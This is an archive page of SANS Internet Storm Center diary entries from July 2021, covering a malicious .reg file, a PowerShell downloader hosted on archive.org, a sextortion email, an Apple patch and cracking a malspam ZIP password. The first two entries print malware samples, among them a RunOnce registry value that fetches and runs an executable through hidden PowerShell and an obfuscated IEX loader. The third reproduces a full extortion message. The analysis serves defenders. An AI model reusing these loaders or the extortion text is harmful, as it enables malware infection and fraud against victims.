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Archive for July, 2021

Infected With a .reg File, (Fri, Jul 30th)

Yesterday, I reported a piece of malware that uses archive.org to fetch its next stage[1]. Today, I spotted another file that is also interesting: A Windows Registry file (with a “.reg” extension). Such files are text files created by exporting values from the Registry (export) but they can also be used to add or change values in the Registry (import). Being text files, they don’t look suspicious.

Of course, the file has very low VT score (2/58) (SHA256:b20d8723dce70af2ee827177d803f92d10e8274a80c846cf42742370d9f11c65)[2].

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERSoftwareMicrosoftwindowsCurrentVersionrunonce]
"ray"="cmd.exe /c cd %USERPROFILE% & powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('hxxps://cdn[.]discordapp[.]com/attachments/847773813131182112/868160361466040321/Exploit.exe','system.exe');Start 'system.exe'& exit"

You can see that the Registry file will add a new key in HKCUSoftwareMicrosoftwindowsCurrentVersionrunonce. This means that, at the next reboot, the computer will execute the key value: It will start a Powershell that will fetch the payload from the Discord CDN and executes it.

When you double-click on a .reg file, Windows warns you that “something weird may happen”:

But, with the help of social engineering, it could be possible to force the user to install the Registry key! Also, if you can execute another command line, the reg.exe tool does not provide any warning:

So, be careful with Registry files!

[1] https://isc.sans.edu/forums/diary/Malicious+Content+Delivered+Through+archiveorg/27688/
[2] https://www.virustotal.com/gui/file/b20d8723dce70af2ee827177d803f92d10e8274a80c846cf42742370d9f11c65/content/strings

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

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Malicious Content Delivered Through archive.org, (Thu, Jul 29th)

archive.org[1], also known as the “way back machine” is a very popular Internet site that allows you to travel back in time and browse old versions of a website (like the ISC website[2]). It works like regular search engines and continuously crawls the internet via bots. But there is another way to store content on archive.org: You may create an account and upload some content by yourself.

I found a piece of malicious Powershell that uses archive.org to download the next stage payload. It’s score on VT is only 5/58[3] (SHA256:2c661f8145f82a3010e0d5038faab09ea56bf93dd55c1d40f1276c947572597b). The script is quite simple:

FUNCTION D4FD5C5B9266824C4EEFC83E0C69FD3FAA($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE)
{
  $D4FD5C5B9266824C4EEFC83E0C69FD3FAAx = "Fr"+"omBa"+"se6"+"4Str"+"ing"
  $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG = [Text.Encoding]::Utf8.GetString([Convert]::$D4FD5C5B9266824C4EEFC83E0C69FD3FAAx($D4FD5C5B9266824C4EEFC83E0C69FD3FAAE))
  return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
}
$TYFGYTFFFYTFYTFYTFYT = 'hxxps://ia601505[.]us[.]archive[.]org/1/items/server-lol-123_20210606/Server_lol_123.txt'
$JUANADEARCO = 'JEZWWVRGWVRGWUZZRllGWUZHWT0 ... [removed] ... VFJEVAp9CklFWCB2aXA='
$HBAR = D4FD5C5B9266824C4EEFC83E0C69FD3FAA($JUANADEARCO);
$Run=($HBAR -Join '')|I`E`X

The Base64 data is decoded and contains more Powershell code working like a downloader. It fetches the next payload from archive.org, dumps it on the disk, and executes it with the help of the following technique:

[Reflection.Assembly]::Load($H5).GetType('VBNET.PE').GetMethod('Run').Invoke($null,[object[]] ( 'C:WindowsMicrosoft.NETFrameworkv4.0.30319aspnet_compiler.exe',$H1))

Let’s put aside the malware (a classic one) and give more focus on the file grabbed from archive.org. If you go one directory above, you’ll see a directory listing:

The interesting file is server-lol-123_20210606_meta.xml. It reveals interesting information about the attacker:

server-lol-123_20210606
texts
opensource
Server_lol_123
Internet Archive HTML5 Uploader 1.6.4
Server_lol_123
Server Lol 123
[email protected]
community
2021-06-06 06:52:29
2021-06-06 06:52:29

[curator][email protected][/curator][date]20210606065744[/date][comment]checked for malware[/comment]

http://archive.org/details/server-lol-123_20210606
ark:/13960/t9x17kx37

As you can see, this user uploaded a lot of files:

That’s the wild Internet today: If you allow users to create an account and upload some data, chances are big that the feature will be (ab)used to host malicious content. Indeed, archive.org is a top domain and is usually not blocked or tagged as malicious.

[1] https://archive.org
[2] https://web.archive.org/web/*/isc.sans.edu
[3] https://www.virustotal.com/gui/file/2c661f8145f82a3010e0d5038faab09ea56bf93dd55c1d40f1276c947572597b/details

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

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A sextortion e-mail from…IT support?!, (Wed, Jul 28th)

E-mails claiming that their author has recorded the recipient through a webcam while they were “in flagrante delicto” enjoying a visit to some pornographic site, and will publish the recording unless the recipient pays them, have been with us for quite a while now. Over time, these messages haven’t changed much. It is no wonder – since the “hook” they use is fairly timeless and nearly universal in nature, the same messages can be effective for a long time without any substantial modifications.

One can, however, still find small, interesting additions or new approaches in some sextortion messages from time to time. A good example of this was a message that was delivered to our ISC mailbox a couple of weeks ago.

Although at first glance, the message does look like any other sextortion scam, a closer look shows that its author came up with an interesting spin on the usual ransom request.

In the text, the sender claims to work for an IT service company (strictly speaking, they claim to “word” for the company, but we can probably safely assume that that was a typo, and the scammer didn’t try to make the recipient believe that they were working as a wordsmith), which was engaged by recipient’s e-mail provider. This was supposed to give the sender access to the e-mail provider’s user database and – among other information – “online traffic” of individual users.

This then supposedly allowed them to create a list of people – including the recipient – who frequented pornographic websites. The creation of the list was then allegedly followed by infection of the recipient’s computer with spyware using a malicious e-mail link, after which the usual webcam recording was supposed to take place. The rest of the message is fairly generic, as you may judge for yourself…

 


Greetings!

I have got two not really pleasant news for you.
I have been monitoring your internet activities for some time by now.

The only person to blame in this situation is you, since you are a big fan of adult websites and also have got an uncontrollable desire to indulge yourself with another orgasm.
Simply speaking, all your porn websites search requests have become a key to access your device.
The thing is that I word in a company that provides services related to security and performance of email providers, including isc.sans.edu as well.

During the pandemic outbreak a lot of providers have faced difficulties in maintaining a huge number of staff in their offices and so they have decided to use outsourcing instead.
While working remotely from home, I have got unlimited abilities to access the user databases.

I can easily decrypt passwords of users, access their chat history and online traffic with help of cookie-files.
I have decided to analyse users traffic related to adult websites and adult content.
I was truly shocked to discover that nearly 75% of users regularly access porn websites or participates in sex chats.

I have filtered out the worst perverts from the list. Yeah, you are one of them. Not everyone chooses to watch such hardcore videos… Basically, I have infected your device with one of the best Trojan viruses in the market. It was relatively easy, since I have access to your email address ([email protected]).
It was sufficient to prepare one of your routine emails asking you to click the harmful link…

My spyware functions as a driver. Hence, I can fully control your device and have access to your microphone, camera, cursor and set of symbols.
Generally speaking, your device is some sort of my remote PC.
Since this spyware is driver-based, then I can constantly update its signatures, so that no antivirus can detect it.
While digging through your hard drive, I have saved your entire contact list, social media access, chat history and media files.

One week ago, I have montaged a videoclip, which shows you masturbating on one side of the screen and on the other side a porn video that you were watching at that moment of time – recently this type of exotic stuff is really popular on the internet!
Don’t worry, I will need just a few mouse clicks in order to share this video with your entire contact list and upload it to some porn website, like Bigle.
I believe that you would not like this to happen, since a long holiday season is just about to start soon – just imagine the number of silly jokes and loud laughter that would get provoked by your video all over the neighbourhood bars and pubs…

I am offering a simple and reasonable solution:
All you need to do is transfer an amount equivalent to $1150 (USA Dollars) to my bitcoin wallet and we both forget about this silly story forever.
All your data and this video will be deleted by me once and for all. You have my honest word!
You’ve got to agree, this amount is really insignificant. Just imagine how much time and resources I have spent to get this done… If you don’t know how to operate the cryptocurrency – you can always search for assistance online. It is that simple.

Here is my bitcoin wallet (BTC): bc1qfnx5388zl4c4hpcdsjxj0tgcn2gd8pyrljg6s6

You have exactly 2 days (48 hours) from the moment of opening this email.
I can easily track when you have opened this email (my software will notify me about it). Once you complete the transaction – I will be able to see and confirm that.
Please, do not try replying me via this email – there is no point in that (as you can see the email is sent from your address).

Remember that there is no point to complain anywhere, since I cannot be found (Bitcoin system is anonymous and I am also using I2P network in order to access your device).
I have considered all the small details.
In case, if 48 hours after you have opened this email, I still don’t receive the required amount of money, then your videoclip will be automatically sent to all your contact list and uploaded to public websites.

Good luck and please don’t hate me too much!

This is life! You are merely out of luck this time.
Who knows, maybe next time you will get lucky at something else…


 

Although the “I work for an IT service provider who has access to your data at work and that’s how I’ve decide to target you” is certainly an interesting addition to the usual sextortion scam (and might, perhaps, be worth mentioning during a security awareness training), it doesn’t seem to have made this specific message more effective… At least going by the “0.00000000 BTC” that was received by the address mentioned in the message at the time of writing[1].

[1] https://www.blockchain.com/btc/address/bc1qfnx5388zl4c4hpcdsjxj0tgcn2gd8pyrljg6s6

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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Apple Patches for CVE-2021-30807, (Tue, Jul 27th)

Apple has released another update (previous update was only about 5 days ago) to address CVE-2021-30807 that was discovered by an anonymous researcher. This update resolves an issue with IOMobileFrameBuffer which could allow an application to execute arbitrary code with kernel privileges [1], [2]. This issue may have been actively exploited.

As Apple has indicated that this issue may have been actively exploited, it is recommended that affected devices be updated as soon as possible.

References:
[1] https://support.apple.com/en-us/HT212622
[2] https://support.apple.com/en-us/HT212623

———–
Yee Ching Tok, ISC Handler
Personal Site
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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Failed Malspam: Recovering The Password, (Mon, Jul 26th)

Jan’s diary entry “One way to fail at malspam – give recipients the wrong password for an encrypted attachment” got my attention: it’s an opportunity for me to do some password cracking 🙂 I asked Jan for the sample.

Just like Jan noticed, I saw that the sample is not actually a 7zip file, but a ZIP file. This could be a mistake by the malware authors, or it could be deliberate: 7zip is able to decompress a ZIP file with extension 7z.

And I confirm that AWB3604 is not the password.

Since it’s a ZIP file, I first used my zipdump.py tool: it has a leightweight password cracking feature.

But that did not help:

Then I turned to John the Ripper. I used zip2john to create a hash for the sample, and created a password list file with a single line: AWB3604. And then I let JtR use all of its built-in rules on this “dictionary”:

One of JtR’s rules transformed the presumed password AWB3604 into 3604, and that turned out to be the actual password.

 

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

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